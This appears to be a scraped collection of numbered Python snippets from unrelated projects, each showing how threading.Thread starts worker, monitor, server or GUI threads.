Пример #1
0
 def __init__(self, params):
     Thread.__init__(self)
     self.tid          = params['tid']                              #work线程id
     self.apns_gateway = ApnsGateway(certfile=params['certfile'],   #apns连接
                                         host=params['host'],
                                         port=params['port'],
                                        retry=params['retry'])   
Пример #2
0
def main():
    """
    Main function of the proxy scanner.
    """
    global pl, output, q

    parser = ArgumentParser(description='Scans a list of proxies to determine which work for HTTPS.')
    parser.add_argument('--output', default='output/proxies.txt', type=str,
        help='The file in which to store the found proxies.')
    parser.add_argument('--threads', default=10, type=int,
        help='Number of threads to use.')

    args = parser.parse_args()
    output = args.output

    threads = args.threads
    q = Queue(threads * 3)

    print 'Starting threads.'
    for x in xrange(threads):
        t = Thread(target=check_proxies)
        t.daemon = True
        t.start()

    print 'Queueing proxies.'
    for proxy in proxies.proxies:
        q.put(proxy)
    q.join()

    save_proxies()
Пример #3
0
	def loop(self):
		if self.authorization_failed: return
		super(GetworkSource, self).loop()

		thread = Thread(target=self.long_poll_thread)
		thread.daemon = True
		thread.start()

		while True:
			if self.should_stop: return

			if self.check_failback():
				return True

			try:
				with self.switch.lock:
					miner = self.switch.updatable_miner()
					while miner:
						work = self.getwork()
						self.queue_work(work, miner)
						miner = self.switch.updatable_miner()

				self.process_result_queue()
				sleep(1)
			except Exception:
				say_exception("Unexpected error:")
				break
Пример #4
0
    def run_windows_service(config):
        """ Initialize the web application and run it in the background, while
            displaying a small system tray icon to interact with the it.
        """
        import webbrowser
        from winservice import SysTrayIcon

        app = WebApplication(config)
        server_thread = Thread(target=app.run_server)
        server_thread.start()

        def on_quit(systray):
            """ Callback that stops the application. """
            IOLoop.instance().stop()
            server_thread.join()

        listening_port = config['web']['port'].get(int)
        open_browser = (
            lambda x: webbrowser.open_new_tab("http://127.0.0.1:{0}"
                                              .format(listening_port)))
        menu_options = (('Open in browser', None, open_browser),)

        SysTrayIcon(
            icon=os.path.join(os.path.dirname(sys.argv[0]), 'spreads.ico'),
            hover_text="Spreads Web Service",
            menu_options=menu_options,
            on_quit=on_quit,
            default_menu_index=1,
            on_click=open_browser)
Пример #5
0
 def __init__(self, newJobsQueue, updatedJobsQueue, boss):
     Thread.__init__(self)
     self.newJobsQueue = newJobsQueue
     self.updatedJobsQueue = updatedJobsQueue
     self.currentjobs = list()
     self.runningjobs = set()
     self.boss = boss
Пример #6
0
    def __init__(self, tname, task_queue, flt, suc, fail, headers={}, proxy=None, proxy_policy=None,
            retry=3, timeout=10, logger=None, keep_alive=None, stream_mode=False):
        """
        Construct a new 'HttpWorker' obkect

        :param tname: The name of this http worker
        :param task_queue: The task Queue instance
        :param flt: the filter function
        :param suc: the function to call when succeeded
        :param fail: the function to call when failed
        :param headers: custom HTTP headers
        :param proxy: proxy dict
        :param proxy_policy: a function to determine whether proxy should be used
        :param retry: retry count
        :param timeout: timeout in seconds
        :param logger: the Logger instance
        :param keep_alive: the callback to send keep alive
        :param stream_mode: set the request to use stream mode, keep_alive will be called every iteration
        :return: returns nothing
        """
        HttpReq.__init__(self, headers, proxy, proxy_policy, retry, timeout, logger, tname = tname)
        Thread.__init__(self, name = tname)
        Thread.setDaemon(self, True)
        self.task_queue = task_queue
        self.logger = logger
        self._keepalive = keep_alive
        self._exit = lambda x: False
        self.flt = flt
        self.f_suc = suc
        self.f_fail = fail
        self.stream_mode = stream_mode
        # if we don't checkin in this zombie_threshold time, monitor will regard us as zombie
        self.zombie_threshold = timeout * (retry + 1) 
        self.run_once = False
Пример #7
0
 def __init__(self, req, proxy, logger, task, exit_check=None, ignored_errors=[]):
     Thread.__init__(self, name = "monitor%s" % task.guid)
     Thread.setDaemon(self, True)
     # the count of votes per error code
     self.vote_result = {}
     # the error code to be ignored
     self.vote_cleared = set().union(ignored_errors)
     self.thread_last_seen = {}
     self.dctlock = RLock()
     self.votelock = RLock()
     self.thread_ref = {}
     self.thread_zombie = set()
     # HttpReq instance
     self.req = req
     # proxy.Pool instance
     self.proxy = proxy
     self.logger = logger
     self.task = task
     self._exit = exit_check if exit_check else lambda x: False
     self._cleaning_up = False
     if os.name == "nt":
         self.set_title = lambda s:os.system("TITLE %s" % (
             s if PY3K else s.encode(CODEPAGE, 'replace')))
     elif os.name == 'posix':
         import sys
         self.set_title = lambda s:sys.stdout.write("\033]2;%s\007" % (
             s if PY3K else s.encode(CODEPAGE, 'replace')))
def runWorker(w, args, checklist, quithooks, queue=None):
    global killed
    global workers
    
    thrdRun = Thread(target=run, args=(w, args))
    thrdRun.daemon = True
    
    thrdRun.start()
    time.sleep(1)
    
    while (w.hasLines() or not w.isDone()) and not killed:
        line = w.nextLine()
        
        if line != None:
            message("Line", "Out", line.strip(), False)
            logLine(line)
            
            if maintainChecklist(w, checklist, line):
                if isChecklistDone(checklist):
                    message(w.fullName(), "Run complete", "Moving into background")
                    break
            else:
                if checkQuitHooks(w, quithooks, line):
                    globalKill()
        
        if queue:
            try:
                queued_command = queue.get_nowait()
                
                if queued_command == "quit":
                    w.kill()
                    queue.put("ok")
            except Empty:
                pass
Пример #9
0
    def __init__(self):
        self.title = self.empty_title

        # we are listening to i3 events in a separate thread
        t = Thread(target=self._loop)
        t.daemon = True
        t.start()
Пример #10
0
 def __init__(self, port, deviceFd, deviceLock, debug = False, aexServer = None):
     '''
     Constructor
     '''
     self.running = False
     
     self.__dataQueue = Queue(0)
     
     self.__clients = []
     self.debug = debug
     
     self.__deviceFd = deviceFd
     self.deviceLock = deviceLock
     self.aexServer=aexServer
     
     self.runningTime = 0
     self.receivingTime = 0
     self.packetsReceived = 0
     self.sleepingTimes = 0
     
     ThreadingTCPServer.__init__(self, ("", port), StimNetCom, False)
     
     ThreadingTCPServer.allow_reuse_address = True
     
     self.server_bind()
     self.server_activate()
     
     Thread.__init__(self)
Пример #11
0
 def __init__(self, interval_sec, get_connection_holders):
     Thread.__init__(self, name="Connection heartbeat")
     self._interval = interval_sec
     self._get_connection_holders = get_connection_holders
     self._shutdown_event = Event()
     self.daemon = True
     self.start()
Пример #12
0
    def __init__(self, prompt="> ", stdin=None, stdout=None):
        if _debug: ConsoleCmd._debug("__init__")
        cmd.Cmd.__init__(self, stdin=stdin, stdout=stdout)
        Thread.__init__(self, name="ConsoleCmd")

        # check to see if this is running interactive
        self.interactive = sys.__stdin__.isatty()

        # save the prompt for interactive sessions, otherwise be quiet
        if self.interactive:
            self.prompt = prompt
        else:
            self.prompt = ''

        # gc counters
        self.type2count = {}
        self.type2all = {}

        # logging handlers
        self.handlers = {}

        # set a INT signal handler, ^C will only get sent to the
        # main thread and there's no way to break the readline
        # call initiated by this thread - sigh
        if hasattr(signal, 'SIGINT'):
            signal.signal(signal.SIGINT, console_interrupt)

        # start the thread
        self.start()
Пример #13
0
class AntiFlapping(object):
    """
    AntiFlapping class to process event in a timely maneer
    """
    def __init__(self, window):
        self.window = window
        self.tasks = Queue(maxsize=1)
        self._window_ended = True
        self._thread = Thread(name="AntiFlapping", target=self._run)
        self._thread.start()

    def newEvent(self, func, kwargs={}):
        """
        newEvent Triggered.
        """
        if not self.tasks.full() and self._window_ended:
            self.tasks.put({'func': func, 'args':kwargs})

    def _run(self):
        """
        internal runloop that will fire tasks in order.
        """
        while True:
            task = self.tasks.get()
            self._window_ended = False
            sleep(self.window)
            self._window_ended = True
            if task['args']:
                task['func'](**task['args'])
            else:
                task['func']()
Пример #14
0
    def __init__(self, n_threads):

        self.n_threads = n_threads

        self._running = True

        self.input_queues = []
        self.output_queues = []
        self.exception_queues = []
        self.threads = []
        for i in range(n_threads):
            input_queue = queue.Queue()
            output_queue = queue.Queue()
            exception_queue = queue.Queue()
            thread = Thread(
                    target=self._thread_func,
                    args=(input_queue, output_queue, exception_queue))
            thread.daemon = True

            self.input_queues.append(input_queue)
            self.output_queues.append(output_queue)
            self.exception_queues.append(exception_queue)
            self.threads.append(thread)

            thread.start()
Пример #15
0
def run(data, d=None):
	global timer
	print(data)

	if data == "ring":
		if int(d) == 1:
			if timer:
				timer.cancel()

			timer = Timer(60, genugdavon)
			timer.start()

			check = Thread(target=check_locks)
			check.start()

			putfile('/sys/class/gpio/gpio11/value', '0')

			playsound("/root/ring-bb.wav")
		else:
			playsound("/root/ring-fis.wav")
	

	if data == "open":
#		if not locked_oben:
		playsound("/root/open.wav")
	
	if data == "summ":
		if timer:
			timer.cancel()

#		if not locked_oben:
		putfile('/sys/class/gpio/gpio11/value', '1')
		playsound("/root/summ.wav")
Пример #16
0
 def listen_threaded(cls, port, callback):
     """ Starts a new thread listening to the given port """
     thread = Thread(target=cls.__listen_forever, args=(port, callback),
                     name="NC-ListenForever")
     thread.setDaemon(True)
     thread.start()
     return thread
Пример #17
0
 def __init__(self, server):
     """
     constructor
     @param      server to run
     """
     Thread.__init__(self)
     self.server = server
Пример #18
0
	def __init__(self):
		Tk.__init__(self)

		self.isAndroidConnected = True
		self.isKinectConnected = False
		self.isOpen = True

		self.label_android_connected = Label(self,text="No Android connected");
		self.label_android_connected.pack()

		self.android_connection_thread = Thread(target=self.androidConnection)
		self.android_connection_thread.start()

		self.android_start_thread = Thread(target=self.androidWaitStart)

		self.button_start_kinect = Button(self,text="Demarrer Kinect",command=self.startKinect)
		self.button_start_kinect.pack()

		self.button_start_recording = Button(self,text="Demarrer enregistrement",command=self.startRecording)
		self.button_start_recording.pack()
		self.button_start_recording.config(state="disabled")

		self.spin_box_duree = Spinbox(self, from_=1, to=5)
		self.spin_box_duree.pack()

		self.label_log = Label(self,text="");
		self.label_log.pack()
Пример #19
0
 def send_async(cls, port, message):
     """ Starts a new thread which sends a given message to a port """
     thread = Thread(target=cls.__send_message_async, args=(port, message),
                     name="NC-SendAsync")
     thread.setDaemon(True)
     thread.start()
     return thread
Пример #20
0
 def __init__(self, name, event, function, args=[], period = 5.0):
     Thread.__init__(self)
     self.name = name
     self.stopped = event
     self.period = period
     self.function = function
     self.args = args
Пример #21
0
def Watch( Module, Callback, * Args, ** Kwds ):
  if Module.__file__ in WatchList:
    return

  T = Thread(target = WatchThread, args=(Module,Callback,Args,Kwds))
  T.setDaemon(True)
  T.start()
Пример #22
0
class NonBlockingStreamReader:
    def __init__(self, stream):
        '''
        stream: the stream to read from.
                Usually a process' stdout or stderr.
        '''

        self._s = stream
        self._q = Queue()

        def _populateQueue(stream, queue):
            '''
            Collect lines from 'stream' and put them in 'quque'.
            '''

            while True:
                line = stream.readline()
                if line:
                    queue.put(line)
                else:
                    break

        self._t = Thread(target = _populateQueue,
                         args = (self._s, self._q))
        self._t.daemon = True
        self._t.start() #start collecting lines from the stream

    def readline(self, timeout = None):
        try:
            return self._q.get(block = timeout is not None,
                               timeout = timeout)
        except Empty:
            return None
Пример #23
0
    def get_stock(self):
        self.sku = self.sku_input.get().strip()
        self.client_id = self.client_id_input.get().strip()
        self.cycle = 1

        region = self.region_input.get()

        if self.refresh_var.get():
            validity = self.refresh_is_valid()
            if not validity[0]:
                self.update_status(validity[1])
                return
            else:
                amt = int(self.refresh_amt_input.get())
                dly = float(self.refresh_dly_input.get())

                if amt <= 0:
                    self.update_status('Please enter a non-zero/negative amount.')
                    return
                if dly < 0:
                    self.update_status('Please enter a non-negative delay.')
                    return
        else:
            amt = 1
            dly = 1

        thread = Thread(name=self.sku+'_'+region, target=self.check_stock, args=[region, amt, dly])
        thread.daemon = True
        thread.start()

        self.disable_submit()
Пример #24
0
	def __init__(self, settings, on_loaded = lambda: None):
		self.__loaded = False
		self.__on_loaded = on_loaded
		self.__sp = self.__open(settings)
		t = Thread(target=self.__consume_beginning)
		t.daemon = True
		t.start()
Пример #25
0
    def looped(window, *args, **kwargs):
        if hasattr(linux_native_dialog, 'native_failed'):
            import importlib
            m = importlib.import_module('calibre.gui2.qt_file_dialogs')
            qfunc = getattr(m, 'choose_' + name)
            return qfunc(window, *args, **kwargs)
        try:
            if window is None:
                return func(window, *args, **kwargs)
            ret = [None, None]
            loop = QEventLoop(window)

            def r():
                try:
                    ret[0] = func(window, *args, **kwargs)
                except:
                    ret[1] = sys.exc_info()
                    sys.exc_clear()
                while not loop.isRunning():
                    time.sleep(0.001)  # yield so that loop starts
                loop.quit()
            t = Thread(name='FileDialogHelper', target=r)
            t.daemon = True
            t.start()
            loop.exec_(QEventLoop.ExcludeUserInputEvents)
            if ret[1] is not None:
                raise ret[1][0], ret[1][1], ret[1][2]
            return ret[0]
        except Exception:
            linux_native_dialog.native_failed = True
            import traceback
            traceback.print_exc()
            return looped(window, *args, **kwargs)
Пример #26
0
 def start(self, *args):
     """ Creates a subprocess of nping and invokes it
         with the given arguments."""
     cline = [BotConfig.NPING_PATH]
     cline = cline + args[0]
     t = Thread(target=self.__run, args=[cline])
     t.start()
Пример #27
0
 def __init__(self, config, pipe_name=PIPE):
     """@param pipe_name: Cuckoo PIPE server name."""
     Thread.__init__(self)
     self.pipe_name = pipe_name
     self.config = config
     self.options = config.get_options()
     self.do_run = True
Пример #28
0
    def __init__(self, log = None):
        from threading import Event

        Thread.__init__(self)

        self.__mytid = P.mytid()

        try:
            ## get process ID of parent
            self.__parent = P.parent()
        except:
            self.__parent = None

        self.__bindings = {}
        self.__stop = 0
        self.__tasks = {}

        self.setMessageLoopDelay(0.1)
        self.__loopEvent = Event()

        if log: self.__log = Logfile()
        else: self.__log = None

        ## add ping-mechanism

        self.setPingTimeout(5.)
        self.bind(MSG_PING, -1, self._ping)
 def __init__(self, stationBase):
     Thread.__init__(self)
     self.stationBase = stationBase
     self.imageVirtuelle = None
     self.anciennePosRobot = []
     self.police = cv2.FONT_HERSHEY_SIMPLEX
     self.chargerImageVirtuelle()
Пример #30
0
def rpc_server(handler, address, authkey):
    sock = Listener(address, authkey=authkey)
    while True:
        client = sock.accept()
        t = Thread(target=handler.handle_connection, args=(client,))
        t.daemon = True
        t.start()
Пример #31
0
 def _cbackVCDATFull(self):
     if self._threadVCDAT != 0:
         return
     self._threadVCDAT = Thread(target=self._callVCDATFull)
     self._threadVCDAT.start()
     self._setVCDATSelectionState('disabled')
Пример #32
0
'''
#Single Threading Start
for disk in drive_list:
    print(disk)
    find_data(disk)
#Single Threading End
'''



#'''
#Multi Threading Start
list_thread = []
drivecount = 0
for each in range(len(drive_list)):
    th1 = Thread(target=find_data, args = (drive_list[drivecount],))
    th1.start()
    list_thread.append(th1)
    drivecount = drivecount + 1

for th in list_thread:
    th.join()
#Multi Threading End
#'''



file_write.close()
t2 = datetime.datetime.now()    
print(t2-t1)
Пример #33
0
def runalarm(strip):
    print "succesfull launch confirmed" , strip
    alarmerstatus = False
    loopvariable = True
    while loopvariable == True:
        #########################
        wait_a_minute(56)
        today = datetime.date.today()
        day_of_week = datetime.datetime.weekday(today)
        cur_time = datetime.datetime.now().time()
        hour = cur_time.hour
        minute = cur_time.minute
        print "Alarm is running ... ", hour,minute




        ##########################
        for alarm in models.Alarm.objects.all():



            ################
            alarmdays = alarm.days # 1...7
            alarmdaylist = makelist(alarmdays) #1..7
            cur_week_day = int(day_of_week) + 1
            if cur_week_day in alarmdaylist:
                daytrigger = True
            else:
                daytrigger = False



            ################
            alarmtime = alarm.time
            alarmhour = alarmtime.hour
            alarmminute = alarmtime.minute
            if int(hour) == int(alarmhour):
                hourtrigger = True
            else:
                hourtrigger = False
            if int(minute) == int(alarmminute):
                minutetrigger = True
            else:
                minutetrigger = False
            ##############
            if daytrigger and hourtrigger and minutetrigger and not alarmerstatus:
                p2 = Thread(target=makealarm(str(alarm.type)))
                p2.start()
                alarmerstatus = True
                wait_a_minute(20)
                daytrigger, hourtrigger, minutetrigger = False, False, False
            else:
                daytrigger, hourtrigger, minutetrigger = False, False,False





        ##########################
        for alarm in models.Quickalarm.objects.all():
            alarmtime = alarm.time
            alarmhour = alarmtime.hour
            alarmminute = alarmtime.minute
            if int(hour) == int(alarmhour):
                hourtrigger = True
            else:
                hourtrigger = False
            if int(minute) == int(alarmminute):
                minutetrigger = True
            else:
                minutetrigger = False
            ##############
            if  hourtrigger and minutetrigger and not alarmerstatus:
                makealarm(strip)
                global alarmerstatus
                hourtrigger, minutetrigger = False, False
            else:
                hourtrigger, minutetrigger = False, False
Пример #34
0
def start(strip):
    print "STARTING DAY"
    p1 = Thread(target=runalarm, args=[strip])
    p1.start()
    print "Launched succesfully"
Пример #35
0
def runMarlin(filenamebase, jobtask, silent):
    """ Runs Marlin and stores log of output """
    from sys import exit # use sys.exit instead of built-in exit (latter raises exception)
    log = logging.getLogger('jobsub.' + jobtask)

    # check for Marlin executable
    cmd = check_program("Marlin")
    if cmd:
        log.debug("Found Marlin executable: " + cmd)
    else:
        log.error("Marlin executable not found in PATH!")
        exit(1)

    # search for stdbuf command: adjust stdout buffering
    stdbuf = check_program("stdbuf")
    if stdbuf:
        log.debug("Found stdbuf, will use line buffered output.")
        # -oL: adjust standard output stream buffering to line buffered
        cmd = stdbuf + " -oL " + cmd

    # need some addtional libraries for process interaction
    from subprocess import Popen, PIPE
    from threading  import Thread # threading used for non-blocking process output parsing
    from time import sleep
    try:
        from Queue import Queue, Empty # python 2.x
    except ImportError:
        from queue import Queue, Empty  # python 3.x

    import datetime
    import shlex        

    # parsing process output using threads
    # (approach from http://stackoverflow.com/a/4896288)
    def enqueue_output(out, queue):
        """ feed queue with readline output """
        for line in iter(out.readline, ''):
            queue.put(line)
        out.close()
    ON_POSIX = 'posix' in sys.builtin_module_names
    cmd = cmd+" "+filenamebase+".xml"
    rcode = None # the return code that will be set by a later subprocess method
    try:
        # run process
        log.info ("Now running Marlin on "+filenamebase+".xml")
        log.debug ("Executing: "+cmd)
        p = Popen(shlex.split(cmd), stdout=PIPE, stderr=PIPE, bufsize=1, close_fds=ON_POSIX)
        # setup output queues and threads
        qout = Queue()
        tout = Thread(target=enqueue_output, args=(p.stdout, qout))
        qerr = Queue()
        terr = Thread(target=enqueue_output, args=(p.stderr, qerr))
        # threads die with the program
        tout.daemon = True
        terr.daemon = True 
        tout.start()
        terr.start()
        # open log file
        log_file = open(filenamebase+".log", "w")
        # print timestamp to log file
        log_file.write("---=== Analysis started on " + datetime.datetime.now().strftime("%A, %d. %B %Y %I:%M%p") + " ===---\n\n")
        try:
            while p.poll() is None:
                # read line without blocking
                try:  
                    line = qout.get_nowait() # or q.get(timeout=.1)
                    if not silent:
                        if "WARNING" in line.strip():
                            log.warning(line.strip())
                        elif "ERROR" in line.strip():
                            log.error(line.strip())
                        else:
                            log.info(line.strip())
                    log_file.write(line)
                except Empty:
                    pass
                
                try:  
                    line = qerr.get_nowait() # or q.get(timeout=.1)
                    log.error(line.strip())
                    log_file.write(line)                     
                except Empty:
                    sleep(0.005) # sleep for 5 ms to avoid excessive CPU load

            # process done
            tout.join() # finish stdout thread; wait for remaining buffer to be read
            terr.join() # finish stderr thread
            # process the remainder of the buffers now stored in our queues
            while not qout.empty() or not qerr.empty():
                # read line without blocking
                try:  
                    line = qout.get_nowait() # or q.get(timeout=.1)
                    if not silent:
                        if "WARNING" in line.strip():
                            log.warning(line.strip())
                        elif "ERROR" in line.strip():
                            log.error(line.strip())
                        else:
                            log.info(line.strip())
                    log_file.write(line)
                except Empty:
                    pass
                
                try:  
                    line = qerr.get_nowait() # or q.get(timeout=.1)
                    log.error(line.strip())
                    log_file.write(line)                     
                except Empty:
                    pass
        finally:
            log_file.close()
        rcode = p.returncode # get the return code
    except OSError, e:
        log.critical("Problem with Marlin execution: Command '%s' resulted in error #%s, %s", cmd, e.errno, e.strerror)
        exit(1)
Пример #36
0
class EventEngine:
    """
    事件驱动引擎

    事件驱动引擎中所有的变量都设置为了私有,这是为了防止不小心
    从外部修改了这些变量的值或状态,导致bug。
    
    变量说明
    __queue:私有变量,事件队列
    __active:私有变量,事件引擎开关
    __thread:私有变量,事件处理线程
    __timer:私有变量,计时器
    __handlers:私有变量,事件处理函数字典
    
    
    方法说明
    __run: 私有方法,事件处理线程连续运行用
    __process: 私有方法,处理事件,调用注册在引擎中的监听函数
    __onTimer:私有方法,计时器固定事件间隔触发后,向事件队列中存入计时器事件
    start: 公共方法,启动引擎
    stop:公共方法,停止引擎
    register:公共方法,向引擎中注册监听函数
    unregister:公共方法,向引擎中注销监听函数
    put:公共方法,向事件队列中存入新的事件
    
    事件监听函数必须定义为输入参数仅为一个event对象,即:
    
    函数
    def func(event)
        ...
    
    对象方法
    def method(self, event)
        ...
        
    """

    #----------------------------------------------------------------------
    def __init__(self):
        """初始化事件引擎"""
        # 事件队列
        self.__queue = Queue()
        
        # 事件引擎开关
        self.__active = False
        
        # 事件处理线程
        self.__thread = Thread(target = self.__run)
        
        # 计时器,用于触发计时器事件
        self.__timer = QTimer()
        self.__timer.timeout.connect(self.__onTimer)
        
        # 这里的__handlers是一个字典,用来保存对应的事件调用关系
        # 其中每个键对应的值是一个列表,列表中保存了对该事件进行监听的函数功能
        self.__handlers = {}
        
    #----------------------------------------------------------------------
    def __run(self):
        """引擎运行"""
        while self.__active == True:
            try:
                event = self.__queue.get(block = True, timeout = 1)  # 获取事件的阻塞时间设为1秒
                #print(event.type_)
                self.__process(event)
            except Empty:
                pass
            
    #----------------------------------------------------------------------
    def __process(self, event):
        """处理事件"""
        # 检查是否存在对该事件进行监听的处理函数
        if event.type_ in self.__handlers:
            #print(self.__handlers[event.type_])
            #若存在,则按顺序将事件传递给处理函数执行
            [handler(event) for handler in self.__handlers[event.type_]]
            
            #以上语句为Python列表解析方式的写法,对应的常规循环写法为:
            #for handler in self.__handlers[event.type_]:
                #handler(event)    
               
    #----------------------------------------------------------------------
    def __onTimer(self):
        """向事件队列中存入计时器事件"""
        # 创建计时器事件
        event = Event(type_=EVENT_TIMER)
        
        # 向队列中存入计时器事件
        self.put(event)    

    #----------------------------------------------------------------------
    def start(self):
        """引擎启动"""
        # 将引擎设为启动
        self.__active = True
        
        # 启动事件处理线程
        self.__thread.start()
        
        # 启动计时器,计时器事件间隔默认设定为1秒
        self.__timer.start(1000)
    
    #----------------------------------------------------------------------
    def stop(self):
        """停止引擎"""
        # 将引擎设为停止
        self.__active = False
        
        # 停止计时器
        self.__timer.stop()
        
        # 等待事件处理线程退出
        self.__thread.join()
            
    #----------------------------------------------------------------------
    def register(self, type_, handler):
        """注册事件处理函数监听"""
        # 尝试获取该事件类型对应的处理函数列表,若无则创建
        try:
            handlerList = self.__handlers[type_]
        except KeyError:
            handlerList = []
            self.__handlers[type_] = handlerList
        
        # 若要注册的处理器不在该事件的处理器列表中,则注册该事件
        if handler not in handlerList:
            handlerList.append(handler)
            
    #----------------------------------------------------------------------
    def unregister(self, type_, handler):
        """注销事件处理函数监听"""
        # 尝试获取该事件类型对应的处理函数列表,若无则忽略该次注销请求
        try:
            handlerList = self.__handlers[type_]
            
            # 如果该函数存在于列表中,则移除
            if handler in handlerList:
                handlerList.remove(handler)

            # 如果函数列表为空,则从引擎中移除该事件类型
            if not handlerList:
                del self.__handlers[type_]
        except KeyError:
            pass     
        
    #----------------------------------------------------------------------
    def put(self, event):
        """向事件队列中存入事件"""
        self.__queue.put(event)
Пример #37
0
 def __init__(self):
     ''' Constructor. '''
     Thread.__init__(self)
Пример #38
0
 def __init__(self, localhost, port=9999, data_ids={}):
     Thread.__init__(self)
     self.localhost = localhost
     self.port = port
     self.data_ids = data_ids
     self.queue = {}
class OOP():
    def __init__(self):  # Initializer method
        # Create instance
        self.win = tk.Tk()

        # Add a title
        self.win.title("Python GUI")
        self.create_widgets()

    # Create Queue instance
    def use_queues(self):
        gui_queue = Queue()
        print(gui_queue)
        gui_queue.put('Message from a queue')
        print(gui_queue.get())

    def method_in_a_thread(self, num_of_loops=10):
        # print('Hi, how are you?')
        for idx in range(num_of_loops):
            sleep(1)
            self.scrol.insert(tk.INSERT, str(idx) + '\n')
        # print('method_in_a_thread():', self.run_thread.isAlive())

    # Running methods in Threads
    def create_thread(self):
        self.run_thread = Thread(target=self.method_in_a_thread, args=[8])
        self.run_thread.setDaemon(True)
        self.run_thread.start()
        # print(self.run_thread)
        # print('createThread():', self.run_thread.isAlive())

    # Button callback
    def click_me(self):
        self.action.configure(text='Hello ' + self.name.get())
        self.create_thread()
        self.use_queues()

    # Spinbox callback
    def _spin(self):
        value = self.spin.get()
        self.scrol.insert(tk.INSERT, value + '\n')

    # GUI Callback
    def checkCallback(self, *ignored_args):
        # only enable one checkbutton
        if self.chVarUn.get(): self.check3.configure(state='disabled')
        else: self.check3.configure(state='normal')
        if self.chVarEn.get(): self.check2.configure(state='disabled')
        else: self.check2.configure(state='normal')

    # Radiobutton Callback
    def radCall(self):
        radSel = self.radVar.get()
        if radSel == 0: self.mighty2.configure(text='Blue')
        elif radSel == 1: self.mighty2.configure(text='Gold')
        elif radSel == 2: self.mighty2.configure(text='Red')

    # update progressbar in callback loop
    def run_progressbar(self):
        self.progress_bar["maximum"] = 100
        for i in range(101):
            sleep(0.05)
            self.progress_bar["value"] = i  # increment progressbar
            self.progress_bar.update()  # have to call update() in loop
        self.progress_bar["value"] = 0  # reset/clear progressbar

    def start_progressbar(self):
        self.progress_bar.start()

    def stop_progressbar(self):
        self.progress_bar.stop()

    def progressbar_stop_after(self, wait_ms=1000):
        self.win.after(wait_ms, self.progress_bar.stop)

    def usingGlobal(self):
        global GLOBAL_CONST
        GLOBAL_CONST = 777

    # Exit GUI cleanly
    def _quit(self):
        self.win.quit()
        self.win.destroy()
        exit()

    #####################################################################################
    def create_widgets(self):
        tabControl = ttk.Notebook(self.win)  # Create Tab Control

        tab1 = ttk.Frame(tabControl)  # Create a tab
        tabControl.add(tab1, text='Tab 1')  # Add the tab
        tab2 = ttk.Frame(tabControl)  # Add a second tab
        tabControl.add(tab2, text='Tab 2')  # Make second tab visible

        tabControl.pack(expand=1, fill="both")  # Pack to make visible

        # LabelFrame using tab1 as the parent
        mighty = ttk.LabelFrame(tab1, text=' Mighty Python ')
        mighty.grid(column=0, row=0, padx=8, pady=4)

        # Modify adding a Label using mighty as the parent instead of win
        a_label = ttk.Label(mighty, text="Enter a name:")
        a_label.grid(column=0, row=0, sticky='W')

        # Adding a Textbox Entry widget
        self.name = tk.StringVar()
        self.name_entered = ttk.Entry(mighty, width=24, textvariable=self.name)
        self.name_entered.grid(column=0, row=1, sticky='W')

        # Adding a Button
        self.action = ttk.Button(mighty,
                                 text="Click Me!",
                                 command=self.click_me)
        self.action.grid(column=2, row=1)

        ttk.Label(mighty, text="Choose a number:").grid(column=1, row=0)
        number = tk.StringVar()
        self.number_chosen = ttk.Combobox(mighty,
                                          width=14,
                                          textvariable=number,
                                          state='readonly')
        self.number_chosen['values'] = (1, 2, 4, 42, 100)
        self.number_chosen.grid(column=1, row=1)
        self.number_chosen.current(0)

        # Adding a Spinbox widget
        self.spin = Spinbox(mighty,
                            values=(1, 2, 4, 42, 100),
                            width=5,
                            bd=9,
                            command=self._spin)  # using range
        self.spin.grid(column=0, row=2, sticky='W')  # align left

        # Using a scrolled Text control
        scrol_w = 40
        scrol_h = 10  # increase sizes
        self.scrol = scrolledtext.ScrolledText(mighty,
                                               width=scrol_w,
                                               height=scrol_h,
                                               wrap=tk.WORD)
        self.scrol.grid(column=0, row=3, sticky='WE', columnspan=3)

        for child in mighty.winfo_children(
        ):  # add spacing to align widgets within tabs
            child.grid_configure(padx=4, pady=2)

        #=====================================================================================
        # Tab Control 2 ----------------------------------------------------------------------
        self.mighty2 = ttk.LabelFrame(tab2, text=' The Snake ')
        self.mighty2.grid(column=0, row=0, padx=8, pady=4)

        # Creating three checkbuttons
        chVarDis = tk.IntVar()
        check1 = tk.Checkbutton(self.mighty2,
                                text="Disabled",
                                variable=chVarDis,
                                state='disabled')
        check1.select()
        check1.grid(column=0, row=0, sticky=tk.W)

        chVarUn = tk.IntVar()
        check2 = tk.Checkbutton(self.mighty2,
                                text="UnChecked",
                                variable=chVarUn)
        check2.deselect()
        check2.grid(column=1, row=0, sticky=tk.W)

        chVarEn = tk.IntVar()
        check3 = tk.Checkbutton(self.mighty2, text="Enabled", variable=chVarEn)
        check3.deselect()
        check3.grid(column=2, row=0, sticky=tk.W)

        # trace the state of the two checkbuttons
        chVarUn.trace('w',
                      lambda unused0, unused1, unused2: self.checkCallback())
        chVarEn.trace('w',
                      lambda unused0, unused1, unused2: self.checkCallback())

        # First, we change our Radiobutton global variables into a list
        colors = ["Blue", "Gold", "Red"]

        # create three Radiobuttons using one variable
        self.radVar = tk.IntVar()

        # Next we are selecting a non-existing index value for radVar
        self.radVar.set(99)

        # Now we are creating all three Radiobutton widgets within one loop
        for col in range(3):
            curRad = tk.Radiobutton(self.mighty2,
                                    text=colors[col],
                                    variable=self.radVar,
                                    value=col,
                                    command=self.radCall)
            curRad.grid(column=col, row=1, sticky=tk.W)  # row=6
            # And now adding tooltips
            ToolTip(curRad, 'This is a Radiobutton control')

        # Add a Progressbar to Tab 2
        self.progress_bar = ttk.Progressbar(tab2,
                                            orient='horizontal',
                                            length=286,
                                            mode='determinate')
        self.progress_bar.grid(column=0, row=3, pady=2)

        # Create a container to hold buttons
        buttons_frame = ttk.LabelFrame(self.mighty2, text=' ProgressBar ')
        buttons_frame.grid(column=0, row=2, sticky='W', columnspan=2)

        # Add Buttons for Progressbar commands
        ttk.Button(buttons_frame,
                   text=" Run Progressbar   ",
                   command=self.run_progressbar).grid(column=0,
                                                      row=0,
                                                      sticky='W')
        ttk.Button(buttons_frame,
                   text=" Start Progressbar  ",
                   command=self.start_progressbar).grid(column=0,
                                                        row=1,
                                                        sticky='W')
        ttk.Button(buttons_frame,
                   text=" Stop immediately ",
                   command=self.stop_progressbar).grid(column=0,
                                                       row=2,
                                                       sticky='W')
        ttk.Button(buttons_frame,
                   text=" Stop after second ",
                   command=self.progressbar_stop_after).grid(column=0,
                                                             row=3,
                                                             sticky='W')

        for child in buttons_frame.winfo_children():
            child.grid_configure(padx=2, pady=2)

